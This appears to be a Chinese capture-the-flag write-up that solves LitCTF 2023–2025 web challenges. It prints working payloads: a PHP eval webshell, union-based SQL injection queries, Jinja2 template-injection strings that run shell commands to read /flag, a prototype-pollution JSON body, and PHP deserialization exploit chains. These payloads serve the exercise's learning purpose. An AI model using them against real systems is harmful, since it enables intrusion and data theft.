LitCTF-2023

我Flag呢?

奇怪,放哪里了,怎么看不见呢?(初级难度)

image-20250527200342600

NSSCTF{e9a76298-bb89-47e0-9e39-a84a06e3a4bd}

PHP是世界上最好的语言!!

探姬坚信PHP是世界上最好的语言,于是她用PHP写了一个小工具 (Flag位于根目录) Flag形式 NSSCTF{}

image-20250527200649565

发现flag在根目录

image-20250527200719585

flag=NSSCTF{309ae380-f3bd-45ae-b4e5-9aece7fb3fa4}

导弹迷踪

你是一颗导弹,你需要,飞到最后!(通过6道关卡就能拿到flag哦~

查看一下游戏逻辑

image-20250527201004610

直接有flag

image-20250527201021923

NSSCTF{y0u_w1n_th1s_!!!}

Follow me and hack me

跟我来~

image-20250527201300713

NSSCTF{0881208c-ebcc-4957-8e4e-5eb58d8867cc}

有彩蛋

看看www.zip

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CTF Challenge</title>
</head>
<body>
    <?php
    include 'flag.php';
    if (!isset($_GET['CTF']) || $_GET['CTF'] !== 'Lit2023') {
        echo "你知道 GET 么,试试用GET传参一个变量名为CTF 值为Lit2023";
    } else {
        if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['Challenge']) || $_POST['Challenge'] !== "i'm_c0m1ng") {
            echo "下面试试POST,尝试用POST传输一个变量名为Challenge 值为 i'm_c0m1ng";
        } else {
            if (!isset($_COOKIE['flag'])) {
                echo "你看到了我的夹心饼干(Cookies)了么,里面就是flag哦~";
            } else {
                echo $Flag;
            }
        }
    }
    ?>
    <?php
        // 第三个彩蛋!(看过头号玩家么?)
        // _R3ady_Pl4yer_000ne_ (3/?)
    ?>
</body>
</html>

Ping

看看能PING出什么

翻看源码

 function check_ip(){
    let ip = document.getElementById('command').value;
    let re = /^(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)$/;
​
    if(re.test(ip.trim())){
      return true;
    }
    alert('敢于尝试已经是很厉害了,如果是这样的话,就只能输入ip哦');
    return false;
  }

image-20250527201931126

image-20250527202002545

NSSCTF{cbc4a091-f471-427c-af66-65bc3636f661}

1zjs

js…?不确定,再看看。

禁用了右键,那就ctrl+u

image-20250527202236718

image-20250527202338663

brankfuck编码直接在控制台解密

NSSCTF{1d8fea36-7294-4d97-b1eb-e8570f595116}

作业管理系统

交作业!!但是哪里不对?

image-20250527203248254

尝试一下admin:admin竟然成功登录

image-20250527203315594

传一个一句话木马

<?php
eval($_POST[1]);
?>

image-20250527203557643

image-20250527203647483

Vim yyds

漏…漏了!

源码什么都没发现,扫目录看看

python .\dirsearch.py -u "http://node4.anna.nssctf.cn:28434"

image-20250527204137546

vim -r index.php.swp

image-20250527204601293

Give_Me_Your_Flag base64编码:R2l2ZV9NZV9Zb3VyX0ZsYWc=

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

image-20250527204831111

这是什么?SQL !注一下 !

为了安全起见多带了几个套罢了o(////▽////)q

<?php
$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';
$result = $conn->query($sql);

查询所有库?id=-1)))))) union select schema_name,2 from information_schema.schemata%23

Array ( 
[0] => Array ( [username] => information_schema [password] => 2 ) 
[1] => Array ( [username] => mysql [password] => 2 )
[2] => Array ( [username] => ctftraining [password] => 2 ) 
[3] => Array ( [username] => performance_schema [password] => 2 ) 
[4] => Array ( [username] => test [password] => 2 ) 
[5] => Array ( [username] => ctf [password] => 2 ) 
)
?id=-1)))))) union select database(),2%23
Array ( [0] => Array ( [username] => ctf [password] => 2 ) )
​
​
?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctf'%23
//users
​
​
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctf'%23
// id,username,password
​
​
?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password),2 from users%23
//1~tanji~OHHHHHHH,2~fake_flag~F1rst_to_Th3_eggggggggg!}
//假的flag

?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining'%23
Array ( [0] => Array ( [username] => flag,news,users [password] => 2 ) )
// flag,news,users 
​
​
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='flag' and ='ctftraining'%23
Array ( [0] => Array ( [username] => flag [password] => 2 ) )
//flag 
​
​
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='news' and table_schema='ctftraining'%23
//id,title,content,time
​
​
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctftraining'%23
//id,username,password,ip,time
​
​
?id=-1)))))) union select group_concat(id,0x7e,title,0x7e,content,0x7e,time),2 from news where table_schema='ctftraining'%23
//0 results
​
​
?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password,0x7e,ip),2 from users where table_schema='ctftraining'%23
//0 results
​
​
?id=-1)))))) union select flag,2 from ctftraining.flag%23
// NSSCTF{d999de63-d796-4151-b10e-c77cbc87ab64}
​

image-20250527212036660

Flag点击就送!

大型Flag赠送活动开始啦,不过只有管理员才能拿到

扫目录发现/flag路由

image-20250527215138266

image-20250527214703871

然后拿着这个cookie去访问/flag就可以

就当无事发生

https://ProbiusOfficial.github.io

image-20250527220132532

LitCTF-2024

浏览器也能套娃?

浏览器里套浏览器再套浏览器!

image-20250529103046059

NSSCTF{96653606-3e32-4149-a6cf-0eb3e8f4d6cc}

一个....池子?

试着输入一些有趣的内容吧ww

测试{{7*7}},有回显49,SSTI

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}

image-20250529103344747

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

image-20250529103429883

高亮主题(划掉)背景查看器

这逻辑合乎周礼么(?

image-20250529103837124

百万美元的诱惑

日元贬值))关我美元什么事~

image-20250529104253869

0=$(())
 
12=$((~$((-13))))
 
-13=$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))
 
12=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

image-20250529104642893

SAS - Serializing Authentication

请务必按照要求以正确的姿势的插入密钥(●’◡’●)


<?php

class User
{
    public $username;
    public $password;
}

$a = new User();
$a -> username = "admin";
$a -> password = "secure_password";
echo base64_encode(serialize($a));

image-20250529105836368

exx

image-20250529144452160

LitCTF-2025

easy_file

admin:password弱口令登录

image-20250529144844386

发现文件上传

image-20250529150929191

image-20250529150952732

不知道为什么,phpinfo能看见但是不能执行命令

nest_js

/dashboard

admin:password

image-20250529170052039

星愿信箱

测试发现过滤了{{

image-20250529170244468

{%print(lipsum.__globals__.get("os").popen("ls /").read())%}

image-20250529170631482

有过滤

image-20250529170712213

{%print(lipsum.__globals__.get("os").popen("tac /f*").read())%}

image-20250529170736104

easy_signin

访问就是403,扫一下目录看看

image-20250529170951102

/login.php

image-20250529171020733

/login.html

image-20250529171045414

查看源码

image-20250529171224358

存在ssrf

image-20250529171301626

读一下/api/sys/urlcode.php源码

image-20250529171627086

访问

image-20250529171726664

多重宇宙日记

ez原型链,你能成为管理员拿到flag吗?

直接注册一个账号patton:patton

 // 更新表单的JS提交
        document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
            event.preventDefault();
            const statusEl = document.getElementById('updateStatus');
            const currentSettingsEl = document.getElementById('currentSettings');
            statusEl.textContent = '正在更新...';

            const formData = new FormData(event.target);
            const settingsPayload = {};
            // 构建 settings 对象,只包含有值的字段
            if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
            if (formData.get('language')) settingsPayload.language = formData.get('language');
            // ...可以添加其他字段

            try {
                const response = await fetch('/api/profile/update', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
                });
                const result = await response.json();
                if (response.ok) {
                    statusEl.textContent = '成功: ' + result.message;
                    currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
                    // 刷新页面以更新导航栏(如果isAdmin状态改变)
                    setTimeout(() => window.location.reload(), 1000);
                } else {
                    statusEl.textContent = '错误: ' + result.message;
                }
            } catch (error) {
                statusEl.textContent = '请求失败: ' + error.toString();
            }
        });

        // 发送原始JSON的函数
        async function sendRawJson() {
            const rawJson = document.getElementById('rawJsonSettings').value;
            const statusEl = document.getElementById('rawJsonStatus');
            const currentSettingsEl = document.getElementById('currentSettings');
            statusEl.textContent = '正在发送...';
            try {
                const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
                const response = await fetch('/api/profile/update', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
                });
                const result = await response.json();
                if (response.ok) {
                    statusEl.textContent = '成功: ' + result.message;
                    currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
                     // 刷新页面以更新导航栏(如果isAdmin状态改变)
                    setTimeout(() => window.location.reload(), 1000);
                } else {
                    statusEl.textContent = '错误: ' + result.message;
                }
            } catch (error) {
                 statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
            }
        }

exp

{
    "settings": {
        "__proto__": {
            "isAdmin": true
        }
    }
}

image-20250529172310550

君の名は

参考:Litctf2025-君の名はwp - Litsasuk - 博客园

<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

重点关注create_function("", 'die(/readflag);');

参考:PHP代码审计之create_function()函数 - My_Dreams - 博客园

用create_function创建了一个匿名函数,执行了/readflag,也就是说只要调用这个匿名函数就能输出flag,那么接下来的思路:

  • 找到一个可以调用匿名函数的原生类

  • 找到匿名函数的名字

ReflectionFunction的参数就是要调用的函数名,invoke的参数就是被调函数的参数,这个用法和我们的利用思路刚好吻合,invoke不用传参数。

然后就是找匿名函数的名字,这个也很简单,直接像这样就能输出函数名

<?php

$a = create_function("","die(` /readflag`);");
var_dump($a);

匿名函数的函数名是会改变的!在web页面中打开php文件,每刷新一次函数名的数字就会加一,\000lambda_1只是第一次访问题目环境时匿名函数的名字,所以最好是重新开启一个环境来提交payload

__call($func,$args)的传参问题:

假如我们触发__call($func,$args)调用的函数是

flag($arg1,$arg2)

那么触发__call($func,$args)$func就会被赋值为"flag";$args就会被赋值为flag()的参数构成的数组。所以要给$args赋值需要在flag()的参数里赋值。

这里用一个类来对链子进行包装,然后开头的O就会被自动转换为C

可以使用的类有很多:

  • ArrayObject::unserialize

  • ArrayIterator::unserialize

  • RecursiveArrayIterator::unserialize

  • SplObjectStorage::unserialize

预期:

<?php

class Taki
{
    public $musubi;
    public $magic = "invoke";
}

class Mitsuha
{
    public $memory;
    public $thread;
}

class KatawareDoki
{
    public $soul;
    public $kuchikamizake = "ReflectionFunction";
    public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a->musubi = $b;		// 1.把对象当成函数调用,触发__invoke()
$b->thread = $c;		// 2. 把对象作为字符串使用,触发__toString()
$c->soul = $a;			// 3. 调用不存在的方法,触发__call()

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

非预期:直接在return ($this->musubi)();处调用匿名函数

<?php

class Taki
{
    public $musubi = "\000lambda_1";
    public $magic = "";
}
$a = new Taki();

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));